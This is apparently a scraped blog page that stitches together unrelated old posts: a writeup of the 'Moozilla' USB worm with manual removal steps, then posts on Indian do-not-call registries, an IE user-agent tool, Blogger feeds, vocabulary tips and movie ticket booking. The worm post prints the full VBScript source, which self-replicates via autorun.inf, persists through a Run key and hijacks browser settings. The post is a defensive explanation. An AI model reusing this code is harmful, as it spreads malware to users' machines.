Apart from the retail stores, there is an option for online shopping with free shipping for 20 titles till June 2007.  :-)

Browse and Explorer Hijack ?

Yes. IE gets hijacked after the infection and whenevr IE is opened up, home page gets hijacked and re-routed to http://www.lastchaos.in.th/ .

Apart from the browser hijack, it hacks the windows explorer. In a infected machine, left double click will not work to open the drives under the windows explorer. Right click and open or explore will do that. So, it hijacks the IE and also the windows explorer.

File and Location

The file name which does this hack is IISDLL.dll.vbs and its location is in c:\IISDLL.dll.vbs and C:\Windows\IISDLL.dll.vbs.

The file has read-only attribute and does not allow to make changes to it. One need to change the attibute for making changes to the file.

Mode of Infection?

Going by the script, the mode of infection is through flash or thumb drives. Be careful with yours as machines are rapidly infected with this file.

Solution?

Have tried cleaning the machines with all AV software I could think of and nothing seems to work. I am planning to write a counter script to nullify this one. Till then watch this space for a proper solution.

Where is the script?

If your machine is infected, you can locate the file and right click and edit it with a notepad. If your machine is not infected but you are curious to know what the script does, see below.

IISDLL.dll.vbs

‘My name is Sukorn test script for bootsecter
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe IISDLL.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\IISDLL.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\IISDLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\IISDLL.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\IISDLL.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\IISDLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\IISDLL.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\IISDLL.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by MOOzilla”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://www.lastchaos.in.th/”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

Update

What this moozilla does?

Moozilla hijack is not a malicious program to damage the machine. It is a small windows vb script to hijack the start page of your browser to some Thailand site. The autorun.inf file gets copied to the flash drive from a infected machine. When the flash drive is inserted in another machine, the autoplay feature activates the autotun.inf and copies the ISSDLL.vbs and autorun.inf files to all the drives except A:\ . May be the script writer likes floppy very much.

Have removed the hacked by moozilla browser hijacker off my machine.
Here are the manual removal instructions. Watch this space for an automated script to remove the hijack off the machine.

Disclaimer

The solution given here worked for me and it may or may not work for you. In no way, I am responsible if anything happens to your machine after following the steps given below. if the solution helped you, leave a comment down which will make me smile and increase a day my lifetime. You can leave a comment if it did not work, but show some courtesy. I don’t want blood oozing out of my ears after reading your comments.

Manual Removal Instructions for Moozilla browser hijack

1. Start the Windows in Safe mode. Read Instructions on how to start the Windows in Safe mode.

2. Take out the USB storage devices if any plugged in. Any flash or thumb drives.

3. Open My Computer and look for the number of drives you have. You may have around 3 to 5 drives apart from the A:\ (if you have floppy) or an optical drive (CD or DVD drives).

4. Each drive will be marked by letters like E: ,F: etc;

To make the computer to show hidden files and fodlers, click tools in My computer and click folder options and click view. In the series of check boxes and radio buttons, do the following three things.

a. Click Show hidden files and folders.

b. Uncheck the box Hide extensions for known file types.

c. Uncheck the box Hide Protected Operating system files (Recommended).

5. Click Start and click Run Type C:\ and hit enter.

6. Look out for the files named autorun.inf and ISSDLL.dll.vbs. Select them one by one and hit shift+delete keys together.

Navigate to the windows folder under C:\drive and look for the same files and sgift+delete them.

7. In the same way, follow the steps for all the drives listed under MY Computer.

8. Click Start and click Run. Type regedit and click OK. This will open the registry editor.

9. Back up the registry before making any changes to it as it may cause dangerous implications to the machine. Read how to backup windows registry?

10. Navigate to the key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ and delete Start Page on the right hand side.

Navigate to the key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ and delete Window Title on the right hand side.

Navigate to the key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run and delete MS32DLL on the right hand side.

11. Restart the machine and Open IE and windows explorer to see that moozilla is gone. Enjoy!

Solicited commercial communication

I open a savings account with any of the nationalised banks. There is a business relationship established between me and the bank. During the establishment of this business relationship, I consent to receive calls about the product I have purchased or the account I have opened with the bank. In this way, I solicit to receive calls from the establishment. I can always go ahead and tell them that I do not want to be called again on the product which I am using from the bank. This is an example of Solicited commercial communication.

Unsolicited commercial communication

An unsolicited commercial communication is the type of communication in which the caller initiates the call to a person who does not have a commercial business relationship with the caller’s services. To be more clear, the person who is called does not expect the call. Most of us receive these type of calls from DSAs (Direct Service Agent) of Banks and NBFCs (Non-Banking Financial Companies).

What if you do not want to receive unsolicited commercial communication?

There is a DNCR (Do Not Call Registry) service prevalent in the western countries in which the customers can file in their telephone numbers at which they do not want to be disturbed for unsolicited commercial telemarketing calls. The establishments making calls are to screen the numbers through this DNCR and then make calls. If a customer opts to file his number in the DNCR and still receives unsolicited calls, legal action can be arranged against the party which called.

Is there a DNCR in India?

Currently, as far as I can see, there is not a centralised DNCR in India. But there are strict guidelines from RBI regarding the unsolicited commercial communication. The individual banks and NFBCs are to setup their own DNCR. And I read somewhere that a centralised registry is gonna be setup wherein the customer does not have to register for the individual DNCRs set by Banks and NFBCs, instead he needs to file the numbers in the centralised DNCR which will be screened by the banks and NFBCs before a telemarketing call is made.

Where can I find a DNCR list of Indian Banks and NFBCs?

I have compiled a list here. This is a list of few banks and not a comprehensive one. Thanks to a colleague at office who mailed the list of banks to me. Use IE for all these links as a few will not open in Firefox.

• ICICI Bank
• State Bank of India
• Bank of Baroda
• HDFC Bank
• Standard Chartered
• HSBC
• ABN AMRO Bank
• CitiBank
• DeutscheBank

What if I still get a lot of calls after opting this list?

When using the DNCR, the bank will take the request in and processes it in 30 or 45 days. Give them their requested period of time to process. If you still receive call, show courtesy and tell the telemarketer that you are on the bank’s DNCR and not to call you anymore. If again you receive it, you can consult your lawyer for legal proceedings. But, I am not sure whether there is a law for this.

You have IE 7.0 as the only browser installed in your Windows XP or Vista machine. You are forced to open a website built only for IE 6.0 or earlier versions. You do not have not have options of other browsers. What will you do? Time to apply the brakes? Nah! Read ahead…
Solution :
Relax! You are not the only one who is struck up. Folks at Microsoft thought about this and have released a handy tool for Internet Explorer 7.0 to open a browser window emulating IE 6.0. It is User Agent String Utility version 2. It downloads in a few seconds and installs within a minute.
So, for all those websites coded only for IE 6.0 or earlier can be opened with this small tool. Works fine in Windows vista too.
You need to have a genuine copy of windows for this installation. Oops! Forgot that IE 7.0 does not install in pirated copies. Or did someone already break the rules?

P.S. :- For those of you who really wanted to know how User agent string works. Rest of you, grab the tool and enjoy surfing.

Step 1 – Time to switch your blogger account to beta

Only a few users of blogger now have the previlege to switch to beta. If you are lucky enough, you’ll see a blue box in the sidebar of your blogger dashboard highlighting the new Blogger in beta. Click the learn more link and blogger will walk you step by step on switching you to beta. If you don’t find it, don’t regret. Remember that it is still in beta.

Also see Blogger’s help page on switching to beta .

Step 2 – Time to change the site feed settings

Click on settings and click Site feed. Select yes under “Publish Site Feed”. It is upto you to decide on the content to be syndicated. You can either leave it full or short. Full will put the entire content of each post in your site feed, while Short only includes an excerpt from the beginning of each post. The None option turns your site feed off entirely. Click on the Advanced mode link. In Advanced Mode there are options for three different types of feeds. They are Blog posts feed , Blog Comment feed , Per-Post Comment Feeds. Select Full or Short depending on your preference and save the settings. You are almost done.

Also see Blogger’s help page on How to change the site feed settings?

Step 3 – Time to Publish these site feeds

You have setup the feed for blog posts, feed for blog comments and also per-post comment feeds. It’s time to show the world that your feeds are ready to be subscribed.

Following is a example URL for the Blog comment feed
The URL for the Blog comment feed is:

http://www.beta.blogger.com/feeds/comments/full

where your blogger account will replace the beta.blogger.com

For example,

Comment feed URL for netcraze.blogspot.com .

Also, add links of the Blog post feed and Blog comment feed in your sidebar to help people subscribe them easily.

pass the word to your blogger friends.

• Buy a good English dictionary. I would refer a Oxford Advance learner’s Dictionary (OALD)
• Start reading Newspapers with dictionary on your side for referring. I will suggest “The Hindu” if you are in India.
• Refrain from books which boast of increasing word power.
• Read books and novels of good standards so that you will get used with the usage of the words.
• For pronounciation, watch BBC World.

Follow your own style and improve your word power skills.

P.S. :-

one’s knowledge of words is also denoted by the word Vocabulary. So, when someone asks “how good are you in vocab?”, they denote the wordpower one possess in the particular language.

1. Open up Satyam cinemas’ online booking site.
2. Select number of tickets, day, the name of the movie and the price according to the class.
3. click book tickets
4. Login with the member account if you have one. If not you can create one in a few steps.
5. After logging in, use your credit card to purchase the tickets.
6. Note down the order number or print out the order page.
7. You are done with the online booking part. As a matter of fact, Satyam charges Rs.5 extra for tickets booked online. When comparing to the hassles of booking tickets by standing in a queue, that too in Chennai’s heat, it should not be a issue.
8. On the day of the show, you can collect the tickets from the theatre half an hour before the show timings. There is a separate section for internet booking tickets.

Happy booking!